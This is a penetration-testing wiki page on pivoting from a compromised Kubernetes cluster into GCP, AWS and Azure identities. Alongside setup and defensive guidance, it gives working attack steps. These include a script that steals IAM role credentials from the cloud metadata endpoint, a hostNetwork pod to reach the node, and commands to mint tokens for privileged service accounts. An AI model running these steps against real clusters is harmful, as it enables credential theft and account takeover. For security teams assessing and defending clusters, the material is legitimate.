# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:

### Mounting GCP-SA keys as secret

A common way to give **access to a kubernetes application to GCP** is to:

- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.

### Relating GSA json to KSA secret

A way to give access to a GSA to a GKE cluser is by binding them in this way:

- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:

```bash
kubectl create serviceaccount <service-account-name>
```

- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:

```bash
gcloud iam service-accounts keys create <key-file-name>.json \
    --iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
    --from-file=key.json=<key-file-name>.json
```

- Bind the Kubernetes Secret to the Kubernetes service account using the following command:

```bash
kubectl annotate serviceaccount <service-account-name> \
    iam.gke.io/gcp-service-account=<gcp-service-account-email>
```

> [!WARNING]
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.

### GKE Workload Identity

With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.

The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.

- **Enable Workload Identity** on a new cluster

```bash
gcloud container clusters update <cluster_name> \
    --region=us-central1 \
    --workload-pool=<project-id>.svc.id.goog
```

- **Create/Update a new nodepool** (Autopilot clusters don't need this)

```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```

- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:

```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
    --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
    --role "roles/iam.securityReviewer"
```

- **Connect** to the **cluster** and **create** the **service account** to use

```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```

- **Bind the GSA with the KSA**

```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
    --role roles/iam.workloadIdentityUser \
    --member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
    --namespace testing \
    iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```

- Run a **pod** with the **KSA** and check the **access** to **GSA:**

```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
  name: workload-identity-test
  namespace: <namespace>
spec:
  containers:
  - image: google/cloud-sdk:slim
    name: workload-identity-test
    command: ['sleep','infinity']
  serviceAccountName: ksa2gcp
  nodeSelector:
    iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
  --namespace testing \
  -- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```

Check the following command to authenticate in case needed:

```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```

> [!WARNING]
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.

This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:

```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
        echo ""
        echo ""
    done
done | grep -B 1 "gcp-service-account"
```

## AWS

### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.

First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:

```yaml:Kiam
kind: Namespace
metadata:
  name: iam-example
  annotations:
    iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
  annotations:
    iam.amazonaws.com/allowed-roles: |
      ["role-arn"]
  name: default
```

Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:

```yaml:Kiam & Kube2iam
kind: Pod
metadata:
  name: foo
  namespace: external-id-example
  annotations:
    iam.amazonaws.com/role: reportingdb-reader
```

> [!WARNING]
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).

#### Create Pod with IAM Role

> [!NOTE]
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.

```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
  annotations:
    iam.amazonaws.com/role: transaction-metadata
  name: alpine
  namespace: eevee
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 100000"]' | kubectl apply -f -
```

### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

This is the **recommended way by AWS**.

1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)

```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-service-account
  namespace: default
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```

To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:

```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```

> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
>
> Check the **following page for more information**:

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### EKS Pod Identity

EKS Pod Identity is the newer AWS-managed way to associate an IAM role with a Kubernetes service account without relying on each workload to call STS with an IRSA web identity token. The cluster runs the EKS Pod Identity Agent on nodes, the EKS API stores pod identity associations, and AWS SDKs in selected pods obtain credentials through the container credentials provider path exposed by the agent.

From Kubernetes, the interesting evidence is still the service account and pod relationship, but the runtime signals are different from IRSA. Look for AWS container credential environment variables in pods rather than only `AWS_WEB_IDENTITY_TOKEN_FILE`:

```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```

From AWS, enumerate the associations and then map them back to Kubernetes namespaces and service accounts:

```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
    --cluster-name <cluster> \
    --association-id <association-id>
```

Inside an associated pod, the main runtime indicators are the container credentials provider variables injected by EKS:

```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```

The local credential endpoint is usually `http://169.254.170.23/v1/credentials` and the authorization token is a projected service account token for the `pods.eks.amazonaws.com` audience. Remember that AWS SDK credential-provider order still applies: if static environment credentials or shared credential files are configured earlier in the chain, the pod may use those instead of the Pod Identity association.

Pod Identity roles normally trust the `pods.eks.amazonaws.com` service principal for `sts:AssumeRole` and `sts:TagSession`. Review trust-policy conditions on request tags such as `kubernetes-namespace`, `kubernetes-service-account`, and cluster tags, because broad conditions can make a reusable role available to too many service accounts. Pod Identity also adds session tags to the temporary credentials, and those tags can drive ABAC policies such as resource access based on `${aws:PrincipalTag/kubernetes-namespace}` or `${aws:PrincipalTag/kubernetes-service-account}`.

For cross-account access, a Pod Identity association can use a same-account role that chains into a target role in another account. In that case, review both layers: the EKS association role and the target role trust/policy. The Pod Identity session tags are transitive across the role chain, so they are useful evidence for proving which cluster namespace and service account accessed the remote account.

> [!WARNING]
> If you can create or modify pods that use a service account with an EKS Pod Identity association, test whether that pod receives useful AWS permissions. If you are defending, alert on new pod identity associations, unexpected service account use, and AWS API calls from roles that should only be used by specific workloads.

### EKS governance guardrails

When reviewing EKS from the AWS side, remember that IAM and AWS Organizations guardrails can deny unsafe cluster configuration even when a principal has broad-looking EKS permissions. Recent EKS condition keys cover cluster settings such as public or private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, and zonal shift configuration. These keys can be used in IAM policies or Service Control Policies to enforce account-wide cluster baselines.

This matters for both attack impact and triage. If a principal can call `eks:UpdateClusterConfig` but an SCP denies enabling a public endpoint through `eks:endpointPublicAccess`, report the attempted risky action and the guardrail that blocked it instead of claiming public API exposure. For defenders, alert on denied EKS configuration changes as well as successful changes, because denied attempts can reveal compromised automation, stale admin roles, or reconnaissance before a pivot to a less protected account.

Useful references:

- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)

### Find Pods a SAs with IAM Roles in the Cluster

This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:

```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
    for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "SA: $ns/$sa"
        kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
done | grep -B 1 "amazonaws.com"
```

### Node IAM Role to cluster-admin

The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).

To access the node metadata endpoint you need to:
- Be in a pod and have the metadata endpoint configured to at least 2 tcp hops. This is the most common misconfiguration as usually different pods in the cluster will require access to the metadata endpoint to not break and several companies just decide to allow access to the metadata endpoint from all the pods in the cluster.
- Be in a pod with `hostNetwork` enabled.
- Escape to the node and access the metadata endpoint directly.

(Note that the metadata endpoint is at 169.254.169.254 as always).

In newer EKS environments, verify the node and cluster mode before assuming pods can reach the node instance profile. Amazon Linux 2023 EKS optimized AMIs default the IMDS hop limit to 1, and EKS Auto Mode enables `disablePodIMDS` by default, so ordinary pods should not receive node-role credentials unless the operator changed those settings or the pod has another node-level path such as `hostNetwork` or node compromise. The recommended pattern is to block pod access to node IMDS and use IRSA or EKS Pod Identity for workload AWS permissions.

To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:

```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```

### Steal IAM Role Token

Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.

You can use the following script to **steal** your new hard worked **IAM role credentials**:

```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
    echo "IAM Role discovered: $IAM_ROLE_NAME"
    if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
        echo "Credentials:"
        curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
    fi
fi
```

### Privesc to cluster-admin

In summary: if it's possible to **access the EKS Node IAM role** from a pod, it's possible to **compromise the full kubernetes cluster**.

For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).

However, the node can always **generate tokens for service accounts** running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in:

```bash
kubectl --context=node1 create token -n ns1 sa-priv \
    --bound-object-kind=Pod \
    --bound-object-name=pod-priv \
    --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```

## Azure / AKS

In AKS, keep three identity paths separated during assessment:

- **Azure to Kubernetes**: Azure principals can retrieve user or admin kubeconfigs through Azure Resource Manager if their Azure RBAC role allows it. Local admin kubeconfigs from `az aks get-credentials --admin` are certificate-based credentials and can bypass normal Microsoft Entra user/group governance unless local accounts are disabled.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticate users, groups, or service principals through `kubelogin`/exec kubeconfigs. The final Kubernetes action can be authorized by native Kubernetes RBAC or by Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Pods should normally use Microsoft Entra Workload ID, which exchanges projected Kubernetes service account tokens with Entra through the AKS OIDC issuer and federated identity credentials.

Useful AKS identity checks from Azure:

```bash
az aks show -g <resource-group> -n <cluster> \
  --query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
  -o yaml

AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```

From Kubernetes, search for AKS Workload ID signals:

```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
```

The relevant Workload ID fields are usually:

```yaml
metadata:
  annotations:
    azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
    azure.workload.identity/tenant-id: "<tenant-id>"
---
metadata:
  labels:
    azure.workload.identity/use: "true"
```

Newer AKS environments may use **AKS Identity Bindings** (preview) to scale Workload ID across many clusters or service accounts without creating one federated identity credential per subject. In that model, a user-assigned managed identity is bound to the AKS cluster, workloads opt in with `azure.workload.identity/use-identity-binding: "true"`, and Kubernetes RBAC grants `use-managed-identity` on `cid.wi.aks.azure.com` resources named after managed identity client IDs. A broad `ClusterRoleBinding` here can expose the same Azure identity to more namespaces than expected, even if direct federated identity credential subjects look narrow.

```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```

If the cluster still uses the deprecated Microsoft Entra pod-managed identity model, look for the old CRDs and NMI/MIC components instead of the Workload ID annotations:

```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```

AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. Do not assume an ordinary pod should receive node managed identity credentials: verify workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, and node access first. If a node identity has broad Azure permissions, node compromise can become an Azure pivot even when application Workload ID is correctly scoped.

AKS Automatic and Node Auto-Provisioning (NAP) change the node-side evidence you should collect. AKS Automatic preconfigures several production defaults, including Workload ID/OIDC support, managed node pools, node resource group lockdown, and managed upgrade behavior. NAP is the managed Karpenter-based provisioning mode and uses Kubernetes resources such as `NodePool`, `AKSNodeClass`, and `NodeClaim` to decide which nodes are created for pending workloads. Review who can modify those resources, high-impact scheduling controls, privileged pods, and broad tolerations; also check whether node resource group lockdown blocked direct VMSS/load balancer edits and forced changes back through Kubernetes or AKS APIs.

```bash
az aks show -g <resource-group> -n <cluster> \
  --query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
  -o yaml

kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```

## References

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)

{{#include ../../banners/hacktricks-training.md}}
